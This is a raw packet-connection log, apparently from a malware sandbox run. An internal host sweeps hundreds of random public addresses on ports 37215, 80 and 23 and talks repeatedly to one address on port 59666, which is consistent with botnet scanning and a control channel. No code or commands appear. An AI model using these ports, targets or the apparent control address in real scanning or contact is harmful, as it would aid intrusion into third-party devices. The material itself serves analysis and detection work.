Jan 5, 2025 14:26:59.723972082 CET	56446	37215	192.168.2.13	156.6.97.160
Jan 5, 2025 14:26:59.723980904 CET	56446	37215	192.168.2.13	156.254.31.253
Jan 5, 2025 14:26:59.723980904 CET	56446	37215	192.168.2.13	41.220.245.106
Jan 5, 2025 14:26:59.723980904 CET	56446	37215	192.168.2.13	156.222.233.85
Jan 5, 2025 14:26:59.723987103 CET	56446	37215	192.168.2.13	156.57.17.221
Jan 5, 2025 14:26:59.723987103 CET	56446	37215	192.168.2.13	197.25.6.183
Jan 5, 2025 14:26:59.723987103 CET	56446	37215	192.168.2.13	41.121.128.72
Jan 5, 2025 14:26:59.723987103 CET	56446	37215	192.168.2.13	41.10.200.3
Jan 5, 2025 14:26:59.723988056 CET	56446	37215	192.168.2.13	197.47.213.134
Jan 5, 2025 14:26:59.723997116 CET	56446	37215	192.168.2.13	41.78.94.157
Jan 5, 2025 14:26:59.723998070 CET	56446	37215	192.168.2.13	41.205.185.185
Jan 5, 2025 14:26:59.723998070 CET	56446	37215	192.168.2.13	156.45.189.111
Jan 5, 2025 14:26:59.724000931 CET	56446	37215	192.168.2.13	41.133.55.119
Jan 5, 2025 14:26:59.724004030 CET	56446	37215	192.168.2.13	156.201.207.83
Jan 5, 2025 14:26:59.724008083 CET	56446	37215	192.168.2.13	41.168.58.63
Jan 5, 2025 14:26:59.724014044 CET	56446	37215	192.168.2.13	156.70.185.234
Jan 5, 2025 14:26:59.724020958 CET	56446	37215	192.168.2.13	197.80.129.92
Jan 5, 2025 14:26:59.724029064 CET	56446	37215	192.168.2.13	41.165.167.250
Jan 5, 2025 14:26:59.724029064 CET	56446	37215	192.168.2.13	197.153.185.71
Jan 5, 2025 14:26:59.724033117 CET	56446	37215	192.168.2.13	156.102.51.62
Jan 5, 2025 14:26:59.724035025 CET	56446	37215	192.168.2.13	197.195.120.3
Jan 5, 2025 14:26:59.724037886 CET	56446	37215	192.168.2.13	197.207.242.37
Jan 5, 2025 14:26:59.724037886 CET	56446	37215	192.168.2.13	197.231.121.231
Jan 5, 2025 14:26:59.724040985 CET	56446	37215	192.168.2.13	156.255.184.150
Jan 5, 2025 14:26:59.724040985 CET	56446	37215	192.168.2.13	197.82.253.40
Jan 5, 2025 14:26:59.724040985 CET	56446	37215	192.168.2.13	156.210.226.88
Jan 5, 2025 14:26:59.724044085 CET	56446	37215	192.168.2.13	197.94.43.46
Jan 5, 2025 14:26:59.724046946 CET	56446	37215	192.168.2.13	41.68.175.23
Jan 5, 2025 14:26:59.724049091 CET	56446	37215	192.168.2.13	41.116.170.248
Jan 5, 2025 14:26:59.724061012 CET	56446	37215	192.168.2.13	197.218.91.40
Jan 5, 2025 14:26:59.724061012 CET	56446	37215	192.168.2.13	197.144.221.23
Jan 5, 2025 14:26:59.724062920 CET	56446	37215	192.168.2.13	41.240.165.211
Jan 5, 2025 14:26:59.724066019 CET	56446	37215	192.168.2.13	41.51.59.97
Jan 5, 2025 14:26:59.724066019 CET	56446	37215	192.168.2.13	41.92.146.32
Jan 5, 2025 14:26:59.724070072 CET	56446	37215	192.168.2.13	156.77.115.117
Jan 5, 2025 14:26:59.724070072 CET	56446	37215	192.168.2.13	41.249.181.128
Jan 5, 2025 14:26:59.724073887 CET	56446	37215	192.168.2.13	197.54.91.60
Jan 5, 2025 14:26:59.724081993 CET	56446	37215	192.168.2.13	41.167.220.242
Jan 5, 2025 14:26:59.724081993 CET	56446	37215	192.168.2.13	156.180.172.134
Jan 5, 2025 14:26:59.724083900 CET	56446	37215	192.168.2.13	41.3.245.167
Jan 5, 2025 14:26:59.724087954 CET	56446	37215	192.168.2.13	197.41.200.16
Jan 5, 2025 14:26:59.724091053 CET	56446	37215	192.168.2.13	197.98.156.130
Jan 5, 2025 14:26:59.724091053 CET	56446	37215	192.168.2.13	41.213.156.149
Jan 5, 2025 14:26:59.724098921 CET	56446	37215	192.168.2.13	197.6.203.142
Jan 5, 2025 14:26:59.724098921 CET	56446	37215	192.168.2.13	41.59.154.226
Jan 5, 2025 14:26:59.724100113 CET	56446	37215	192.168.2.13	197.120.199.73
Jan 5, 2025 14:26:59.724101067 CET	56446	37215	192.168.2.13	197.118.34.69
Jan 5, 2025 14:26:59.724107981 CET	56446	37215	192.168.2.13	197.167.154.66
Jan 5, 2025 14:26:59.724117994 CET	56446	37215	192.168.2.13	197.55.230.203
Jan 5, 2025 14:26:59.724117994 CET	56446	37215	192.168.2.13	156.253.164.187
Jan 5, 2025 14:26:59.724117994 CET	56446	37215	192.168.2.13	41.128.118.11
Jan 5, 2025 14:26:59.724121094 CET	56446	37215	192.168.2.13	197.131.1.241
Jan 5, 2025 14:26:59.724122047 CET	56446	37215	192.168.2.13	197.52.17.56
Jan 5, 2025 14:26:59.724122047 CET	56446	37215	192.168.2.13	41.208.164.139
Jan 5, 2025 14:26:59.724122047 CET	56446	37215	192.168.2.13	197.26.118.234
Jan 5, 2025 14:26:59.724127054 CET	56446	37215	192.168.2.13	41.234.98.111
Jan 5, 2025 14:26:59.724128962 CET	56446	37215	192.168.2.13	41.69.164.149
Jan 5, 2025 14:26:59.724139929 CET	56446	37215	192.168.2.13	41.200.44.132
Jan 5, 2025 14:26:59.724148989 CET	56446	37215	192.168.2.13	197.156.19.160
Jan 5, 2025 14:26:59.724149942 CET	56446	37215	192.168.2.13	156.86.76.82
Jan 5, 2025 14:26:59.724153042 CET	56446	37215	192.168.2.13	156.107.197.164
Jan 5, 2025 14:26:59.724153042 CET	56446	37215	192.168.2.13	197.107.81.211
Jan 5, 2025 14:26:59.724153996 CET	56446	37215	192.168.2.13	41.153.26.34
Jan 5, 2025 14:26:59.724153996 CET	56446	37215	192.168.2.13	197.73.99.203
Jan 5, 2025 14:26:59.724159956 CET	56446	37215	192.168.2.13	156.248.168.159
Jan 5, 2025 14:26:59.724159956 CET	56446	37215	192.168.2.13	156.22.176.210
Jan 5, 2025 14:26:59.724163055 CET	56446	37215	192.168.2.13	41.41.173.35
Jan 5, 2025 14:26:59.724163055 CET	56446	37215	192.168.2.13	41.10.238.201
Jan 5, 2025 14:26:59.724167109 CET	56446	37215	192.168.2.13	41.243.118.189
Jan 5, 2025 14:26:59.724167109 CET	56446	37215	192.168.2.13	41.1.147.74
Jan 5, 2025 14:26:59.724181890 CET	56446	37215	192.168.2.13	41.63.244.214
Jan 5, 2025 14:26:59.724183083 CET	56446	37215	192.168.2.13	156.123.197.221
Jan 5, 2025 14:26:59.724184036 CET	56446	37215	192.168.2.13	197.245.76.215
Jan 5, 2025 14:26:59.724184036 CET	56446	37215	192.168.2.13	41.8.120.214
Jan 5, 2025 14:26:59.724193096 CET	56446	37215	192.168.2.13	197.57.29.220
Jan 5, 2025 14:26:59.724200010 CET	56446	37215	192.168.2.13	197.162.65.53
Jan 5, 2025 14:26:59.724200964 CET	56446	37215	192.168.2.13	41.162.66.101
Jan 5, 2025 14:26:59.724201918 CET	56446	37215	192.168.2.13	197.156.176.92
Jan 5, 2025 14:26:59.724203110 CET	56446	37215	192.168.2.13	41.51.14.133
Jan 5, 2025 14:26:59.724217892 CET	56446	37215	192.168.2.13	156.16.61.144
Jan 5, 2025 14:26:59.724217892 CET	56446	37215	192.168.2.13	156.188.165.220
Jan 5, 2025 14:26:59.724219084 CET	56446	37215	192.168.2.13	156.58.72.223
Jan 5, 2025 14:26:59.724222898 CET	56446	37215	192.168.2.13	197.24.245.148
Jan 5, 2025 14:26:59.724222898 CET	56446	37215	192.168.2.13	41.147.39.224
Jan 5, 2025 14:26:59.724224091 CET	56446	37215	192.168.2.13	156.127.161.17
Jan 5, 2025 14:26:59.724225998 CET	56446	37215	192.168.2.13	41.50.229.96
Jan 5, 2025 14:26:59.724231005 CET	56446	37215	192.168.2.13	156.237.196.225
Jan 5, 2025 14:26:59.724235058 CET	56446	37215	192.168.2.13	41.101.229.204
Jan 5, 2025 14:26:59.724235058 CET	56446	37215	192.168.2.13	156.45.196.127
Jan 5, 2025 14:26:59.724246025 CET	56446	37215	192.168.2.13	197.15.67.51
Jan 5, 2025 14:26:59.724250078 CET	56446	37215	192.168.2.13	41.131.89.27
Jan 5, 2025 14:26:59.724250078 CET	56446	37215	192.168.2.13	156.132.77.249
Jan 5, 2025 14:26:59.724251986 CET	56446	37215	192.168.2.13	156.11.157.159
Jan 5, 2025 14:26:59.724252939 CET	56446	37215	192.168.2.13	156.26.95.229
Jan 5, 2025 14:26:59.724252939 CET	56446	37215	192.168.2.13	197.210.174.13
Jan 5, 2025 14:26:59.724255085 CET	56446	37215	192.168.2.13	197.125.191.104
Jan 5, 2025 14:26:59.724255085 CET	56446	37215	192.168.2.13	41.187.15.149
Jan 5, 2025 14:26:59.724256039 CET	56446	37215	192.168.2.13	156.184.201.48
Jan 5, 2025 14:26:59.724261999 CET	56446	37215	192.168.2.13	197.36.115.206
Jan 5, 2025 14:26:59.724273920 CET	56446	37215	192.168.2.13	41.158.80.86
Jan 5, 2025 14:26:59.724275112 CET	56446	37215	192.168.2.13	197.141.194.161
Jan 5, 2025 14:26:59.724275112 CET	56446	37215	192.168.2.13	41.183.246.96
Jan 5, 2025 14:26:59.724280119 CET	56446	37215	192.168.2.13	197.159.117.151
Jan 5, 2025 14:26:59.724280119 CET	56446	37215	192.168.2.13	197.95.202.176
Jan 5, 2025 14:26:59.724282026 CET	56446	37215	192.168.2.13	156.141.84.246
Jan 5, 2025 14:26:59.724284887 CET	56446	37215	192.168.2.13	156.254.163.149
Jan 5, 2025 14:26:59.724284887 CET	56446	37215	192.168.2.13	156.117.56.234
Jan 5, 2025 14:26:59.724289894 CET	56446	37215	192.168.2.13	41.83.58.210
Jan 5, 2025 14:26:59.724289894 CET	56446	37215	192.168.2.13	156.98.202.196
Jan 5, 2025 14:26:59.724298000 CET	56446	37215	192.168.2.13	41.245.99.209
Jan 5, 2025 14:26:59.724301100 CET	56446	37215	192.168.2.13	41.73.92.81
Jan 5, 2025 14:26:59.724301100 CET	56446	37215	192.168.2.13	197.130.8.75
Jan 5, 2025 14:26:59.724307060 CET	56446	37215	192.168.2.13	197.195.72.24
Jan 5, 2025 14:26:59.724309921 CET	56446	37215	192.168.2.13	197.203.23.158
Jan 5, 2025 14:26:59.724330902 CET	56446	37215	192.168.2.13	41.129.123.2
Jan 5, 2025 14:26:59.724332094 CET	56446	37215	192.168.2.13	41.36.238.10
Jan 5, 2025 14:26:59.724333048 CET	56446	37215	192.168.2.13	41.69.176.208
Jan 5, 2025 14:26:59.724334002 CET	56446	37215	192.168.2.13	197.236.163.232
Jan 5, 2025 14:26:59.724334002 CET	56446	37215	192.168.2.13	41.199.201.22
Jan 5, 2025 14:26:59.724334955 CET	56446	37215	192.168.2.13	156.17.105.161
Jan 5, 2025 14:26:59.724334955 CET	56446	37215	192.168.2.13	197.7.70.64
Jan 5, 2025 14:26:59.724335909 CET	56446	37215	192.168.2.13	156.97.13.179
Jan 5, 2025 14:26:59.724334955 CET	56446	37215	192.168.2.13	41.40.241.136
Jan 5, 2025 14:26:59.724338055 CET	56446	37215	192.168.2.13	41.83.237.22
Jan 5, 2025 14:26:59.724338055 CET	56446	37215	192.168.2.13	197.248.38.107
Jan 5, 2025 14:26:59.724342108 CET	56446	37215	192.168.2.13	41.179.6.73
Jan 5, 2025 14:26:59.724344969 CET	56446	37215	192.168.2.13	197.72.221.38
Jan 5, 2025 14:26:59.724360943 CET	56446	37215	192.168.2.13	197.76.165.100
Jan 5, 2025 14:26:59.724360943 CET	56446	37215	192.168.2.13	156.186.159.54
Jan 5, 2025 14:26:59.724360943 CET	56446	37215	192.168.2.13	156.253.185.49
Jan 5, 2025 14:26:59.724364042 CET	56446	37215	192.168.2.13	197.88.109.170
Jan 5, 2025 14:26:59.724366903 CET	56446	37215	192.168.2.13	197.242.117.77
Jan 5, 2025 14:26:59.724368095 CET	56446	37215	192.168.2.13	156.255.122.126
Jan 5, 2025 14:26:59.724368095 CET	56446	37215	192.168.2.13	197.3.8.163
Jan 5, 2025 14:26:59.724370956 CET	56446	37215	192.168.2.13	197.235.212.226
Jan 5, 2025 14:26:59.724374056 CET	56446	37215	192.168.2.13	41.130.161.221
Jan 5, 2025 14:26:59.724374056 CET	56446	37215	192.168.2.13	197.143.192.189
Jan 5, 2025 14:26:59.724384069 CET	56446	37215	192.168.2.13	197.79.88.171
Jan 5, 2025 14:26:59.724384069 CET	56446	37215	192.168.2.13	41.163.230.39
Jan 5, 2025 14:26:59.724385977 CET	56446	37215	192.168.2.13	41.144.78.61
Jan 5, 2025 14:26:59.724385977 CET	56446	37215	192.168.2.13	156.10.135.240
Jan 5, 2025 14:26:59.724385977 CET	56446	37215	192.168.2.13	197.198.135.63
Jan 5, 2025 14:26:59.724396944 CET	56446	37215	192.168.2.13	41.8.95.77
Jan 5, 2025 14:26:59.724400997 CET	56446	37215	192.168.2.13	156.230.144.215
Jan 5, 2025 14:26:59.724400997 CET	56446	37215	192.168.2.13	41.221.112.107
Jan 5, 2025 14:26:59.724409103 CET	56446	37215	192.168.2.13	41.10.171.32
Jan 5, 2025 14:26:59.724409103 CET	56446	37215	192.168.2.13	156.150.199.216
Jan 5, 2025 14:26:59.724409103 CET	56446	37215	192.168.2.13	197.127.192.209
Jan 5, 2025 14:26:59.724412918 CET	56446	37215	192.168.2.13	197.137.58.218
Jan 5, 2025 14:26:59.724412918 CET	56446	37215	192.168.2.13	41.34.220.238
Jan 5, 2025 14:26:59.724416971 CET	56446	37215	192.168.2.13	197.203.153.30
Jan 5, 2025 14:26:59.724421978 CET	56446	37215	192.168.2.13	197.75.172.26
Jan 5, 2025 14:26:59.724422932 CET	56446	37215	192.168.2.13	197.140.38.157
Jan 5, 2025 14:26:59.724433899 CET	56446	37215	192.168.2.13	197.36.31.113
Jan 5, 2025 14:26:59.724433899 CET	56446	37215	192.168.2.13	41.228.64.135
Jan 5, 2025 14:26:59.724433899 CET	56446	37215	192.168.2.13	156.193.39.233
Jan 5, 2025 14:26:59.724442959 CET	56446	37215	192.168.2.13	41.7.236.124
Jan 5, 2025 14:26:59.724443913 CET	56446	37215	192.168.2.13	156.103.243.248
Jan 5, 2025 14:26:59.724447966 CET	56446	37215	192.168.2.13	197.247.247.112
Jan 5, 2025 14:26:59.724462032 CET	56446	37215	192.168.2.13	156.244.12.239
Jan 5, 2025 14:26:59.724462032 CET	56446	37215	192.168.2.13	156.89.81.122
Jan 5, 2025 14:26:59.724462032 CET	56446	37215	192.168.2.13	156.153.118.132
Jan 5, 2025 14:26:59.724462032 CET	56446	37215	192.168.2.13	41.232.255.114
Jan 5, 2025 14:26:59.724467993 CET	56446	37215	192.168.2.13	197.218.148.242
Jan 5, 2025 14:26:59.724468946 CET	56446	37215	192.168.2.13	156.112.237.166
Jan 5, 2025 14:26:59.724467993 CET	56446	37215	192.168.2.13	41.45.199.49
Jan 5, 2025 14:26:59.724467993 CET	56446	37215	192.168.2.13	197.201.206.134
Jan 5, 2025 14:26:59.724467993 CET	56446	37215	192.168.2.13	197.198.228.225
Jan 5, 2025 14:26:59.724481106 CET	56446	37215	192.168.2.13	197.95.175.81
Jan 5, 2025 14:26:59.724481106 CET	56446	37215	192.168.2.13	41.248.132.63
Jan 5, 2025 14:26:59.724481106 CET	56446	37215	192.168.2.13	41.40.240.106
Jan 5, 2025 14:26:59.724481106 CET	56446	37215	192.168.2.13	41.83.251.161
Jan 5, 2025 14:26:59.724482059 CET	56446	37215	192.168.2.13	197.40.203.21
Jan 5, 2025 14:26:59.724490881 CET	56446	37215	192.168.2.13	41.110.218.96
Jan 5, 2025 14:26:59.724493980 CET	56446	37215	192.168.2.13	41.136.24.3
Jan 5, 2025 14:26:59.724498987 CET	56446	37215	192.168.2.13	41.163.187.75
Jan 5, 2025 14:26:59.724498987 CET	56446	37215	192.168.2.13	41.113.93.30
Jan 5, 2025 14:26:59.724507093 CET	56446	37215	192.168.2.13	197.253.7.250
Jan 5, 2025 14:26:59.724515915 CET	56446	37215	192.168.2.13	156.70.119.237
Jan 5, 2025 14:26:59.724517107 CET	56446	37215	192.168.2.13	197.219.211.211
Jan 5, 2025 14:26:59.724534035 CET	56446	37215	192.168.2.13	156.212.9.90
Jan 5, 2025 14:26:59.724534988 CET	56446	37215	192.168.2.13	197.111.52.175
Jan 5, 2025 14:26:59.724694967 CET	52014	37215	192.168.2.13	197.68.255.63
Jan 5, 2025 14:26:59.727632999 CET	58754	80	192.168.2.13	169.25.166.142
Jan 5, 2025 14:26:59.728444099 CET	37215	56446	197.9.205.109	192.168.2.13
Jan 5, 2025 14:26:59.728454113 CET	37215	56446	156.44.246.125	192.168.2.13
Jan 5, 2025 14:26:59.728558064 CET	41342	80	192.168.2.13	197.175.29.49
Jan 5, 2025 14:26:59.728559017 CET	56446	37215	192.168.2.13	156.44.246.125
Jan 5, 2025 14:26:59.728559017 CET	56446	37215	192.168.2.13	197.9.205.109
Jan 5, 2025 14:26:59.731067896 CET	23	52640	194.18.196.49	192.168.2.13
Jan 5, 2025 14:26:59.732858896 CET	80	58754	169.25.166.142	192.168.2.13
Jan 5, 2025 14:26:59.733422995 CET	58754	80	192.168.2.13	169.25.166.142
Jan 5, 2025 14:26:59.733494997 CET	58754	80	192.168.2.13	169.25.166.142
Jan 5, 2025 14:26:59.733535051 CET	52640	23	192.168.2.13	194.18.196.49
Jan 5, 2025 14:26:59.733536959 CET	38560	80	192.168.2.13	172.178.47.118
Jan 5, 2025 14:26:59.733623028 CET	53060	23	192.168.2.13	194.18.196.49
Jan 5, 2025 14:26:59.739078045 CET	23	52640	194.18.196.49	192.168.2.13
Jan 5, 2025 14:26:59.739207983 CET	80	58754	169.25.166.142	192.168.2.13
Jan 5, 2025 14:26:59.739253998 CET	58754	80	192.168.2.13	169.25.166.142
Jan 5, 2025 14:27:00.090765953 CET	80	35984	174.78.99.129	192.168.2.13
Jan 5, 2025 14:27:00.093430042 CET	35984	80	192.168.2.13	174.78.99.129
Jan 5, 2025 14:27:00.272475958 CET	80	44540	105.173.184.192	192.168.2.13
Jan 5, 2025 14:27:00.273430109 CET	44540	80	192.168.2.13	105.173.184.192
Jan 5, 2025 14:27:00.348493099 CET	80	32958	213.52.106.216	192.168.2.13
Jan 5, 2025 14:27:00.348534107 CET	32958	80	192.168.2.13	213.52.106.216
Jan 5, 2025 14:27:00.573836088 CET	52392	59666	192.168.2.13	92.118.56.203
Jan 5, 2025 14:27:00.578617096 CET	59666	52392	92.118.56.203	192.168.2.13
Jan 5, 2025 14:27:00.578660965 CET	52392	59666	192.168.2.13	92.118.56.203
Jan 5, 2025 14:27:00.578677893 CET	52392	59666	192.168.2.13	92.118.56.203
Jan 5, 2025 14:27:00.583473921 CET	59666	52392	92.118.56.203	192.168.2.13
Jan 5, 2025 14:27:00.583511114 CET	52392	59666	192.168.2.13	92.118.56.203
Jan 5, 2025 14:27:00.588248014 CET	59666	52392	92.118.56.203	192.168.2.13
Jan 5, 2025 14:27:00.691638947 CET	42232	80	192.168.2.13	105.224.183.34
Jan 5, 2025 14:27:00.691643953 CET	57778	80	192.168.2.13	188.181.2.153
Jan 5, 2025 14:27:00.691643953 CET	47354	80	192.168.2.13	49.191.8.68
Jan 5, 2025 14:27:00.691648006 CET	42502	80	192.168.2.13	130.237.101.84
Jan 5, 2025 14:27:00.691648006 CET	42908	80	192.168.2.13	121.29.46.224
Jan 5, 2025 14:27:00.691648006 CET	57214	80	192.168.2.13	143.179.29.18
Jan 5, 2025 14:27:00.691654921 CET	40428	80	192.168.2.13	123.140.128.249
Jan 5, 2025 14:27:00.691654921 CET	60540	80	192.168.2.13	41.87.48.244
Jan 5, 2025 14:27:00.691658020 CET	56090	80	192.168.2.13	44.47.134.77
Jan 5, 2025 14:27:00.691660881 CET	41200	80	192.168.2.13	209.47.23.74
Jan 5, 2025 14:27:00.691660881 CET	44024	80	192.168.2.13	35.41.199.92
Jan 5, 2025 14:27:00.691660881 CET	58958	80	192.168.2.13	36.162.123.56
Jan 5, 2025 14:27:00.691669941 CET	46188	80	192.168.2.13	51.92.13.108
Jan 5, 2025 14:27:00.691669941 CET	42832	80	192.168.2.13	151.106.177.94
Jan 5, 2025 14:27:00.691678047 CET	47376	80	192.168.2.13	154.45.118.128
Jan 5, 2025 14:27:00.691680908 CET	38734	80	192.168.2.13	5.197.123.230
Jan 5, 2025 14:27:00.691680908 CET	36504	80	192.168.2.13	57.62.244.9
Jan 5, 2025 14:27:00.691689968 CET	50788	80	192.168.2.13	64.101.190.89
Jan 5, 2025 14:27:00.691689968 CET	56046	80	192.168.2.13	90.167.60.3
Jan 5, 2025 14:27:00.691690922 CET	39278	80	192.168.2.13	177.16.157.212
Jan 5, 2025 14:27:00.691689968 CET	60272	80	192.168.2.13	94.35.93.233
Jan 5, 2025 14:27:00.691689968 CET	56716	80	192.168.2.13	99.165.239.189
Jan 5, 2025 14:27:00.691696882 CET	51812	80	192.168.2.13	99.107.143.62
Jan 5, 2025 14:27:00.691699028 CET	39078	80	192.168.2.13	126.184.49.221
Jan 5, 2025 14:27:00.691703081 CET	47826	80	192.168.2.13	99.44.37.44
Jan 5, 2025 14:27:00.691703081 CET	52496	80	192.168.2.13	59.172.117.26
Jan 5, 2025 14:27:00.691703081 CET	45124	80	192.168.2.13	105.173.184.192
Jan 5, 2025 14:27:00.691704035 CET	54670	80	192.168.2.13	88.28.204.158
Jan 5, 2025 14:27:00.691703081 CET	55712	80	192.168.2.13	72.56.147.96
Jan 5, 2025 14:27:00.691708088 CET	42148	80	192.168.2.13	20.87.241.88
Jan 5, 2025 14:27:00.691714048 CET	38596	80	192.168.2.13	171.208.31.151
Jan 5, 2025 14:27:00.691714048 CET	47116	80	192.168.2.13	192.247.19.115
Jan 5, 2025 14:27:00.691716909 CET	33954	80	192.168.2.13	49.173.231.143
Jan 5, 2025 14:27:00.691716909 CET	43420	80	192.168.2.13	61.226.178.38
Jan 5, 2025 14:27:00.691718102 CET	47452	80	192.168.2.13	84.142.197.17
Jan 5, 2025 14:27:00.691719055 CET	58962	80	192.168.2.13	153.152.78.14
Jan 5, 2025 14:27:00.691718102 CET	45914	80	192.168.2.13	139.30.30.163
Jan 5, 2025 14:27:00.691718102 CET	36342	80	192.168.2.13	199.149.8.144
Jan 5, 2025 14:27:00.691719055 CET	57354	80	192.168.2.13	186.181.40.84
Jan 5, 2025 14:27:00.691718102 CET	48456	80	192.168.2.13	200.63.240.141
Jan 5, 2025 14:27:00.691719055 CET	51616	80	192.168.2.13	218.135.140.108
Jan 5, 2025 14:27:00.691725969 CET	48446	80	192.168.2.13	94.138.141.185
Jan 5, 2025 14:27:00.691725969 CET	48512	80	192.168.2.13	172.114.95.204
Jan 5, 2025 14:27:00.691725969 CET	38884	80	192.168.2.13	160.12.31.23
Jan 5, 2025 14:27:00.691730976 CET	52142	80	192.168.2.13	165.4.191.158
Jan 5, 2025 14:27:00.691735029 CET	42662	80	192.168.2.13	90.250.128.19
Jan 5, 2025 14:27:00.691736937 CET	57752	80	192.168.2.13	160.232.8.64
Jan 5, 2025 14:27:00.691736937 CET	60006	80	192.168.2.13	14.81.236.190
Jan 5, 2025 14:27:00.691739082 CET	52534	80	192.168.2.13	182.58.107.213
Jan 5, 2025 14:27:00.691740990 CET	43436	80	192.168.2.13	110.169.6.176
Jan 5, 2025 14:27:00.691745996 CET	46204	80	192.168.2.13	37.168.163.42
Jan 5, 2025 14:27:00.691745996 CET	57190	80	192.168.2.13	90.185.103.33
Jan 5, 2025 14:27:00.691751957 CET	47004	80	192.168.2.13	44.162.94.163
Jan 5, 2025 14:27:00.691751957 CET	52912	80	192.168.2.13	40.133.17.244
Jan 5, 2025 14:27:00.691755056 CET	45266	80	192.168.2.13	169.194.176.114
Jan 5, 2025 14:27:00.691761017 CET	38922	80	192.168.2.13	198.38.240.51
Jan 5, 2025 14:27:00.691761017 CET	41922	80	192.168.2.13	64.50.196.133
Jan 5, 2025 14:27:00.691762924 CET	32772	80	192.168.2.13	187.178.160.113
Jan 5, 2025 14:27:00.691766977 CET	57678	80	192.168.2.13	46.224.56.104
Jan 5, 2025 14:27:00.691766977 CET	55178	80	192.168.2.13	132.108.249.151
Jan 5, 2025 14:27:00.691770077 CET	55566	80	192.168.2.13	54.151.72.99
Jan 5, 2025 14:27:00.691771984 CET	39570	80	192.168.2.13	128.250.180.34
Jan 5, 2025 14:27:00.691771984 CET	33286	80	192.168.2.13	97.124.195.81
Jan 5, 2025 14:27:00.691772938 CET	52008	80	192.168.2.13	32.164.191.231
Jan 5, 2025 14:27:00.691775084 CET	35328	80	192.168.2.13	121.155.195.73
Jan 5, 2025 14:27:00.691788912 CET	60132	80	192.168.2.13	49.185.194.134
Jan 5, 2025 14:27:00.691803932 CET	40794	80	192.168.2.13	184.39.176.49
Jan 5, 2025 14:27:00.696542025 CET	80	42232	105.224.183.34	192.168.2.13
Jan 5, 2025 14:27:00.696552992 CET	80	57778	188.181.2.153	192.168.2.13
Jan 5, 2025 14:27:00.696561098 CET	80	42502	130.237.101.84	192.168.2.13
Jan 5, 2025 14:27:00.696569920 CET	80	47354	49.191.8.68	192.168.2.13
Jan 5, 2025 14:27:00.696578026 CET	80	42908	121.29.46.224	192.168.2.13
Jan 5, 2025 14:27:00.696583986 CET	57778	80	192.168.2.13	188.181.2.153
Jan 5, 2025 14:27:00.696587086 CET	42232	80	192.168.2.13	105.224.183.34
Jan 5, 2025 14:27:00.696587086 CET	80	57214	143.179.29.18	192.168.2.13
Jan 5, 2025 14:27:00.696598053 CET	47354	80	192.168.2.13	49.191.8.68
Jan 5, 2025 14:27:00.696609020 CET	42502	80	192.168.2.13	130.237.101.84
Jan 5, 2025 14:27:00.696609020 CET	42908	80	192.168.2.13	121.29.46.224
Jan 5, 2025 14:27:00.696722031 CET	57214	80	192.168.2.13	143.179.29.18
Jan 5, 2025 14:27:00.696722031 CET	57214	80	192.168.2.13	143.179.29.18
Jan 5, 2025 14:27:00.696722031 CET	42908	80	192.168.2.13	121.29.46.224
Jan 5, 2025 14:27:00.696728945 CET	47354	80	192.168.2.13	49.191.8.68
Jan 5, 2025 14:27:00.696738005 CET	57778	80	192.168.2.13	188.181.2.153
Jan 5, 2025 14:27:00.696754932 CET	42502	80	192.168.2.13	130.237.101.84
Jan 5, 2025 14:27:00.696759939 CET	42232	80	192.168.2.13	105.224.183.34
Jan 5, 2025 14:27:00.696772099 CET	56958	80	192.168.2.13	194.186.235.38
Jan 5, 2025 14:27:00.696779013 CET	56958	80	192.168.2.13	37.84.148.81
Jan 5, 2025 14:27:00.696779013 CET	56958	80	192.168.2.13	193.199.208.210
Jan 5, 2025 14:27:00.696783066 CET	56958	80	192.168.2.13	69.227.66.195
Jan 5, 2025 14:27:00.696785927 CET	56958	80	192.168.2.13	193.61.207.227
Jan 5, 2025 14:27:00.696789980 CET	56958	80	192.168.2.13	216.188.82.130
Jan 5, 2025 14:27:00.696794987 CET	56958	80	192.168.2.13	1.18.238.50
Jan 5, 2025 14:27:00.696794987 CET	56958	80	192.168.2.13	212.35.206.200
Jan 5, 2025 14:27:00.696794987 CET	56958	80	192.168.2.13	190.126.81.87
Jan 5, 2025 14:27:00.696799040 CET	56958	80	192.168.2.13	150.17.21.226
Jan 5, 2025 14:27:00.696799040 CET	56958	80	192.168.2.13	63.178.187.167
Jan 5, 2025 14:27:00.696799040 CET	56958	80	192.168.2.13	196.167.253.176
Jan 5, 2025 14:27:00.696799040 CET	56958	80	192.168.2.13	207.158.10.136
Jan 5, 2025 14:27:00.696805000 CET	56958	80	192.168.2.13	99.12.94.233
Jan 5, 2025 14:27:00.696805000 CET	56958	80	192.168.2.13	120.81.131.31
Jan 5, 2025 14:27:00.696805000 CET	56958	80	192.168.2.13	120.86.82.233
Jan 5, 2025 14:27:00.696809053 CET	56958	80	192.168.2.13	171.18.228.78
Jan 5, 2025 14:27:00.696814060 CET	56958	80	192.168.2.13	216.76.229.53
Jan 5, 2025 14:27:00.696815968 CET	56958	80	192.168.2.13	117.244.162.92
Jan 5, 2025 14:27:00.696815968 CET	56958	80	192.168.2.13	83.21.52.199
Jan 5, 2025 14:27:00.696822882 CET	56958	80	192.168.2.13	108.232.228.222
Jan 5, 2025 14:27:00.696830988 CET	56958	80	192.168.2.13	152.114.107.33
Jan 5, 2025 14:27:00.696830988 CET	56958	80	192.168.2.13	9.101.51.160
Jan 5, 2025 14:27:00.696832895 CET	56958	80	192.168.2.13	31.154.66.248
Jan 5, 2025 14:27:00.696834087 CET	56958	80	192.168.2.13	208.136.50.240
Jan 5, 2025 14:27:00.696839094 CET	56958	80	192.168.2.13	140.108.117.109
Jan 5, 2025 14:27:00.696841002 CET	56958	80	192.168.2.13	221.16.87.138
Jan 5, 2025 14:27:00.696841002 CET	56958	80	192.168.2.13	80.89.19.132
Jan 5, 2025 14:27:00.696851015 CET	56958	80	192.168.2.13	104.74.29.87
Jan 5, 2025 14:27:00.696851015 CET	56958	80	192.168.2.13	90.171.121.218
Jan 5, 2025 14:27:00.696851015 CET	56958	80	192.168.2.13	120.239.37.214
Jan 5, 2025 14:27:00.696851015 CET	56958	80	192.168.2.13	27.63.254.210
Jan 5, 2025 14:27:00.696854115 CET	56958	80	192.168.2.13	87.158.93.103
Jan 5, 2025 14:27:00.696856022 CET	56958	80	192.168.2.13	206.158.211.244
Jan 5, 2025 14:27:00.696860075 CET	56958	80	192.168.2.13	195.16.153.165
Jan 5, 2025 14:27:00.696873903 CET	56958	80	192.168.2.13	196.201.36.175
Jan 5, 2025 14:27:00.696873903 CET	56958	80	192.168.2.13	124.192.132.163
Jan 5, 2025 14:27:00.696880102 CET	56958	80	192.168.2.13	159.219.36.234
Jan 5, 2025 14:27:00.696883917 CET	56958	80	192.168.2.13	88.47.204.0
